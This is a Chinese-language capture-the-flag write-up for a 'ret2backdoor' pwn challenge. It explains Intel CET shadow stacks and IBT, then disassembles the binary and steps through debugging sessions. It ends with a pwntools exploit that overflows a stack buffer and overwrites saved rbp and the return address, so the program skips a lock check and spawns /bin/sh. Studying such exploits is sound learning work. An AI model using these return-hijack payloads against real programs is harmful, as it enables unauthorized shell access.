【PWN】ret2backdoor by Jmp.Cliff

你好,请加入Jmp.Cliff教

鹅鹅鹅好乱的一篇…

检查

checksec

image-20251124223549043

啊,不认识的项,学习

Intel CET

控制流强制技术 (Controlflow Enforcement Technology, CET)

https://pwnerik.cn/index.php/archives/19/

https://linuxkernel.org.cn/doc/html/latest/arch/x86/shstk.html

SHSTK

SHSTK: SHadow STacK, 阴影栈。

SHSTK 是一种后向控制流完整性(Backward-edge CFI)检查(简单来说是在“返回”时的检查)。

影子堆栈是从内存中分配的二级堆栈,应用程序无法直接修改。执行 CALL 指令时,处理器会将返回地址推送到普通堆栈和影子堆栈。函数返回时,处理器会弹出影子堆栈副本并将其与普通堆栈副本进行比较。如果两者不同,处理器会引发控制保护故障。

所以所有ROP攻击都会失效

IBT

IBT: Indirect Branch Tracking, 间接分支追踪。

IBT 是一种前向控制流完整性(Forward-edge CFI)检查(简单来说是在“调用”时的检查)。

CPU 每当执行间接调用及跳转时都检查目标的指令是否为 endbr64/32,如果是就不执行任何操作(类似 nop),如果不是就产生异常。

通过间接分支(call rax / jmp rax)跳到任意位置若目标没有 ENDBR,会被 IBT 拒绝

endbr64/32

endbr64(以及 32 位版本的 endbr32)是IBT机制的核心指令。作用:告诉 CPU“这里才是合法的间接跳转/调用目标”,否则就触发异常终止程序。

每个可能被间接调用的函数入口都会自动生成一条 endbr64

分析

main

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
my_init(argc, argv, envp);
lock = 1;
vuln();
lock = 0;
return 0;
}

vuln 有溢出

1
2
3
4
5
6
7
8
9
__int64 vuln()
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF

puts("I heard that you're good at ret2backdoor.");
puts("However, what do you do if I lock the back door?");
read(0, buf, 0x48uLL);
return 0LL;
}

backdoor

1
2
3
4
5
6
7
8
int backdoor()
{
char *command; // [rsp+0h] [rbp-10h]

if ( !lock )
command = "/bin/sh";
return system(command);
}

endbr64长这样,新鲜

image-20251124232207069

lock。全局变量,改不了

image-20251125095519617

不明白,去问了思路。说是看backdoor的汇编,可以跳过对lock的检查(意思是跳过了lea rax, aBinSh ; "/bin/sh"也没事),直接到给command赋值的地方,command指针赋值是栈上地址,可以通过修改rbp值来设定command,所以可以想办法找一个/bin/sh贴上去。

backdoor汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:00000000004011E1 ; Attributes: bp-based frame
.text:00000000004011E1
.text:00000000004011E1 public backdoor
.text:00000000004011E1 backdoor proc near
.text:00000000004011E1
.text:00000000004011E1 command = qword ptr -10h
.text:00000000004011E1
.text:00000000004011E1 ; __unwind {
.text:00000000004011E1 endbr64
.text:00000000004011E5 push rbp
.text:00000000004011E6 mov rbp, rsp
.text:00000000004011E9 sub rsp, 10h
.text:00000000004011ED mov eax, cs:lock
.text:00000000004011F3 test eax, eax
.text:00000000004011F5 jnz short loc_401202
.text:00000000004011F7 lea rax, aBinSh ; "/bin/sh"
.text:00000000004011FE mov [rbp+command], rax
.text:0000000000401202
.text:0000000000401202 loc_401202: ; CODE XREF: backdoor+14↑j
.text:0000000000401202 mov rax, [rbp+command]
.text:0000000000401206 mov rdi, rax ; command
.text:0000000000401209 call _system
.text:000000000040120E nop
.text:000000000040120F leave
.text:0000000000401210 retn
.text:0000000000401210 ; } // starts at 4011E1
.text:0000000000401210 backdoor endp

也就是执行流是

1
2
3
4
5
6
7
8
9
10
11
push    rbp
mov rbp, rsp
sub rsp, 10h
mov eax, cs:lock
test eax, eax
mov rax, [rbp+command]
mov rdi, rax ; command
call _system
nop
leave
retn

找一下/bin/sh,在0x402008有

image-20251127123855086

分析一下command应该怎么改。command是从[rbp+command]处取的,也就是[rbp-10h]

这里是神的学弟的wp的解释:https://blog.akyuu.space/2023/09/24/NEUQCSA/NEUQCSA2023FirstGameWriteUp/

而且它读取的地址是 rbp-0x10. 因此我们可以把 shell 放在 rbp-0x10 的地址上面。
具体实现,发现汇编指令里面有两条指令

1
2
3
0x4011e5      push   rbp
0x4011e6 mov rbp, rsp
0x4011e9 sub rsp, 0x10

那么执行过这两条指令之后,rbp-0x10 就是 rsp。因此,我们可以把 shell 的地址放在栈里面的 rbp 上面,这样在 shell 会先在 rsp 上面,然后在被 mov 到 rbp 上面

非常好,我直到摸得差不多了才意识到这一点,都怪神误导我

调试

包含大量错误尝试。但是都是路嘛我也懒得整理了

算了还是别看了

不是,您怎么到这的。有这方法我还去改什么command

image-20251125233937411

调到最后已经进system并且参数是binsh了,但是没对齐哈哈

刚进backdoor时,因为刚执行完push rbp; mov rbp, rsp,rbp和rsp相等,指向旧rbp

image-20251126105700361

rsp减完变成0x7ffd27bfcea8,内容是buffer的40偏移处

image-20251126105247969

执行完rax赋值,mov rax, qword ptr [rbp - 0x10],rbp - 0x10就是rsp那个地址,所以rax取了0x7ffd27bfcea8处的值,buffer中的kaaalaaa

image-20251126105427228

但是这是怎么搞的呢。于是又去重新看了,buffer溢出的情况。输入用cyclic拉满先。断点下在了0x40124B,vuln里刚call完read回来的那条指令

image-20251126112111913

image-20251126112127865

继续

image-20251126112901705

image-20251126112920750

payload += p64(0x402008) # addr of /bin/sh -> rsp
payload += p64(0x402018) # rbp
payload += p64(0x401210) # ret
payload += p64(0x4011E9) # eip

试着加了个ret,结果呢也没对齐,而且rbp是0x68732f6e69622f,/bin/sh的字符串编码,很神奇了(哦,因为前面写错了

image-20251126233258223

看看这个是怎么来的

image-20251126233659744

rax变成存值了。当前的rbp就是0x402018,[rbp - 0x10]确实是/bin/sh的值,也确实

image-20251126233903567

但是为什么加个ret会有这种变化。之前rbp存的是指向0x402018的地址,这会直接是0x402018了

通了我去

payload += p64(0x402008) # rbp
payload += p64(0x401210) # ret

payload += p64(0x4011E1)

image-20251127113739185

此时其实是rsp -> 0x402008,而rsp=rbp-0x10,取rbp - 0x10的值也就是取rsp处的值0x402008。最后system参数就是0x402008。而且可以看到是对齐的。

这题要点是rsp处的值,而对比上面两种情况(嗯此处指的对齐和没对齐)可以发现,rsp不管怎样都会先和rbp一起指向0x402008,后面-0x10,向上长两格,所以rsp就会指向,在payload中离返回地址差两个地址处的值

对齐的情况,返回地址是0x4011E1,往前走两个就是0x402008,所以rsp指向0x402008

1
2
3
4
payload = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa'
payload += p64(0x402008) # rbp
payload += p64(0x401210) # ret
payload += p64(0x4011E1)

没对齐的情况,返回地址是0x4011E1,往前走两个就是kaaalaaa,所以rsp指向kaaalaaa

1
2
3
payload = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa'
payload += p64(0x402008) # rbp
payload += p64(0x4011E1)

算了别管我在说什么

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import time
from ctypes import CDLL
import sys

context(os='linux', arch='amd64', log_level='debug')
io = process('./ret2locked_backdoor.backdoor') # 在本地运行程序。
gdb.attach(io, "b backdoor") # 启动 GDB

payload = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa'
payload += p64(0x402008) # rbp
payload += p64(0x401210) # ret
payload += p64(0x4011E1)

io.sendline(payload)

pause()

# 尝试交互
io.interactive()